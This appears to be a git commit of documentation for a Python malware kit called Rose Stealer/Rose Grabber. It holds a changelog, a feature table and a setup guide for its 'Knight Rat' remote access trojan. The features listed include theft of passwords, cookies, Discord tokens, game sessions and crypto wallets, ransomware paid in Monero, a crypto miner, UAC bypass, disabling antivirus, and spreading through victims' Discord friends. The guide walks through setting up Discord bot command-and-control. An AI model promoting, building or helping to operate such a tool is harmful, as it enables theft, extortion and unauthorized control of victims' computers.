Initial commit

This commit is contained in:
unknown
2026-06-06 01:22:00 +02:00
commit f07fa412f0
132 changed files with 22246 additions and 0 deletions

View File

@@ -0,0 +1,80 @@
- **2.3 (2023-12-19)**
- Added more browser paths
- Added more roblox browser methods
- Added base code for methods
- Added XMR Miner
- Added Knight-RAT documentation
- Added wd exclusion cmd
- Added obfuscation
- Fixed UAC bypass
- Fixed Knight-RAT commands
- Fixed builder
- Fixed Ransomware
- Knight RAT refactor
- Restructured logging system
- Restructured documentation and readme
- Rewrote startup script
(Update by gumbobr0t)
- **2.2 (2023-10-20)**
- Added bsod on run
- Added batch fork bomb
- Added block sites [unblocker](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils)
- Added block protectors (e.g. anti-viruses, firewalls etc.)
- Fixed UAC bypass
- Fixed system information
- Reordered folder structure
(Fixed by gumbobr0t)
- **2.1 (2023-10-18)**
- Fixed system information hanging and restarting the process over and over. (py-cpuinfo -> wmi package)
- Fixed the executable dying because of a shitty import. (__webhook.py --> webhook.py)
- Removed unused libraries from some of the files.
- Ransomware Key is deleted from memory once it's used up fully.
- Better formating of HWID, Power, and Screen information.
- Handling of empty lists in the power and WiFi variables for future error prevention.
(Hardfix by something-0001)
- **2.0 (2023-10-02)**
- Added hidden path to browser and more
- Fixed wifi password stealing
- Fixed ransomware
- Fixed webcam stealing
- Rewrote embeds for discordc class, screenshot and webcam now embedded inside of message
- Added Exodus, Telegram, Steam, Minecraft, Uplay and Epic Games session stealing
- Fixed install and start script
- Fixed antivm not exiting correctly
- **1.9 (2023-09-12)**
- Rewrote ransomware, changed payment to monero
- Added ransomware decrypter to [components/tools](https://github.com/rose-dll/Rose-Stealer/tree/main/resources/utils)
- Fixed startup
- Fixed builder (cleanup, upx, returnzip)
- Rewrote/Fixed install and start script
- **1.8 (2023-09-02)**
- Added spread malware on discord feature
- Added additional error handling
- Added other UPX compression
- Added extension spoofer
- Fixed builder not showing compile CMD
- **1.7 (2023-08-14)**
- Added ransomware
- Fixed return zip file
- **1.6 (2023-08-14)**
- Added Anti-VM
- Added UAC bypass
- Added better icon selection in builder
- Fixed browser stealing
- **1.5 (2023-08-10)**
- Improved obfuscation and file type selection
- Added log buttons and file pumper
- **1.4 (2023-08-09)**
- Added custom icon support and file pumper
- Fixed Windows Defender detection
- ...

View File

@@ -0,0 +1,43 @@
## Features
| Feature | Description | Status |
|---------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------|
| GUI Builder | Create user-friendly interfaces easily. | Done |
| UAC Bypass | Bypass User Account Control for elevated privileges. | Done |
| Custom Icon | Set a unique icon for your application. | Done |
| Runs On Startup | Automatically start with Windows. | Done |
| Disables Windows Defender | Disable built-in antivirus protection and firewalls. | Done |
| Anti-VM | Detect and evade virtual machine environments. | Done |
| Blocks AV-Related Sites | Prevent access to antivirus websites. Unblocker can be found here [resources/utils](https://github.com/rose-dll/Rose-Stealer/blob/main/resources/utils/unblocker/unblock_sites.py). | Done |
| Melt Stub | Make the malware difficult to detect by self-destructing. | Done |
| Fake Error | Display fake error messages to deceive users. | Done |
| EXE Binder | Combine multiple files into a single executable. | Later |
| File Pumper | Inflate file sizes to hide malicious content. | Done |
| Obfuscated Code | Use code obfuscation techniques for evasion. | Done |
| Discord Injection | Inject code into Discord processes. | Done |
| Steals Discord Tokens | Extract user tokens from Discord. | Done |
| Mass DM Discord Friends | DM's every user on the victims discord accounts friendlist. | Done |
| Steals Steam Session | Gather active Steam sessions. | Done |
| Steals Epic Session | Gather active Epic Games sessions. | Done |
| Steals Uplay Session | Gather active Uplay sessions. | Done |
| Steals Passwords From Many Browsers | Extract stored passwords. | Done |
| Steals Cookies From Many Browsers | Collect browser cookies. | Done |
| Steals History From Many Browsers | Access browsing history. | Done |
| Steals Autofills From Many Browsers | Extract autofill data. | Later |
| Steals Minecraft Session Files | Gather Minecraft session information. | Done |
| Steals Telegram Session Files | Extract Telegram session data. | Done |
| Steals Crypto Wallets | Target cryptocurrency wallets. | Done |
| Steals Roblox Cookies | Gather Roblox-related data. | Done |
| Steals IP Information | Collect IP addresses. | Done |
| Steals System Info | Gather system-specific details. | Done |
| Steals Saved Wifi Passwords | Extract saved Wi-Fi passwords. | Done |
| Steals Common Files | Collect files commonly used for attacks. | Later |
| Captures Screenshot | Take screenshots of the user's desktop. | Done |
| Captures Webcam Image | Access and capture webcam images. | Done |
| Sends All Data Through Discord Webhook | Send stolen data to specified destinations. | Done |
| File Type Selection | Choose between screensaver or executable. | Done |
| Trigger BSOD | Cause a Blue Screen of Death. | Done |
| Freeze Screen | Freeze the user's screen. | Later |
| Spread Malware | Send malicious messages to friends on social media. | Later |
| Crypto Miner | Use the victim's computer for cryptocurrency mining. | Done |
| Ransomware | Forces the victim to pay you a specific amount of USD in Monero or they will lose all their data. Decrypter can be found in [resources/utils](https://github.com/DamagingRose/Rose-Grabber/tree/main/resources/utils/rosedec). | Done |

View File

@@ -0,0 +1,26 @@
# ⚔️ · 🛡️ · ♞ · 🤺 · 🏰 · 🗡️ · ⚜️ · ⚔ · ♘
# Knight Rat: A Beginner's Guide
## Introduction
Have you ever wondered about Knight Rat and how it operates? Look no further; this guide is here to help you understand the basics of this Python-based remote access trojan.
## What is Knight Rat?
Knight Rat is a powerful remote access trojan designed in Python, allowing users to gain unauthorized access to a computer and execute various commands. The process involves running a file, executing a predefined set of actions, and establishing a connection through a Discord bot to a remote server, providing full control over the targeted computer.
## How Does it Work?
In a nutshell, the victim runs the Knight Rat file, which connects to a Discord bot. The bot then attempts to send a message to the designated channel, using a custom-generated rat UID with the ping. By employing the "!clients" command, you can retrieve all connected IDs. Subsequently, you gain control over the targeted computer, with a comprehensive set of commands accessible through "!help." When you want to execute a specific command on a victim you can do it like this ---> **example**: `!screenshot 871623`
## Preparing the Bot
Before diving into the setup, you must create a bot application on [Discord Developers](https://discord.com/developers/applications). Navigate to the bot tab, enabling all privileged gateway intents. Refer to [this image](https://cdn.discordapp.com/attachments/1180179668498927618/1180981629313880144/image.png?ex=657f65da&is=656cf0da&hm=46c8ba00046c6f165d78b53a7f48480809ab7b3def429cd8dc6fb67256606f44&) for guidance. Once done, invite the bot to your server with administrator permissions, using [this link](https://cdn.discordapp.com/attachments/1180179668498927618/1180982394652737566/image.png?ex=657f6690&is=656cf190&hm=d1ab6a46c1080fffb966aaeda4d09c1ae2942480663fed29369d002098ccb4aa&).
## Setup
When building a stub with Rose and enabling the Knight Rat feature, fill in the required fields. Reset the bot token, [copy the channel ID](https://www.youtube.com/watch?v=YjiQ7CajAgg) for command operations. Choose a command prefix like "!" or ".", or leave it empty. Congratulations, you've successfully set up Knight Rat!
### Important Note
Knight Rat is a basic rat designed for .py usage, created for fun with no intention of further updates or improvements. It comes with limited features and a straightforward interface. Do not expect enhancements or fixes, as the author has no plans for future updates.
## ⚠️ Final Warning
If you find this guide challenging or seek assistance, be warned any requests for help may result in an immediate ban. The author does not intend to provide support, explanations, or any further assistance.
**Remember, use this information responsibly and ethically, respecting privacy and legal boundaries.**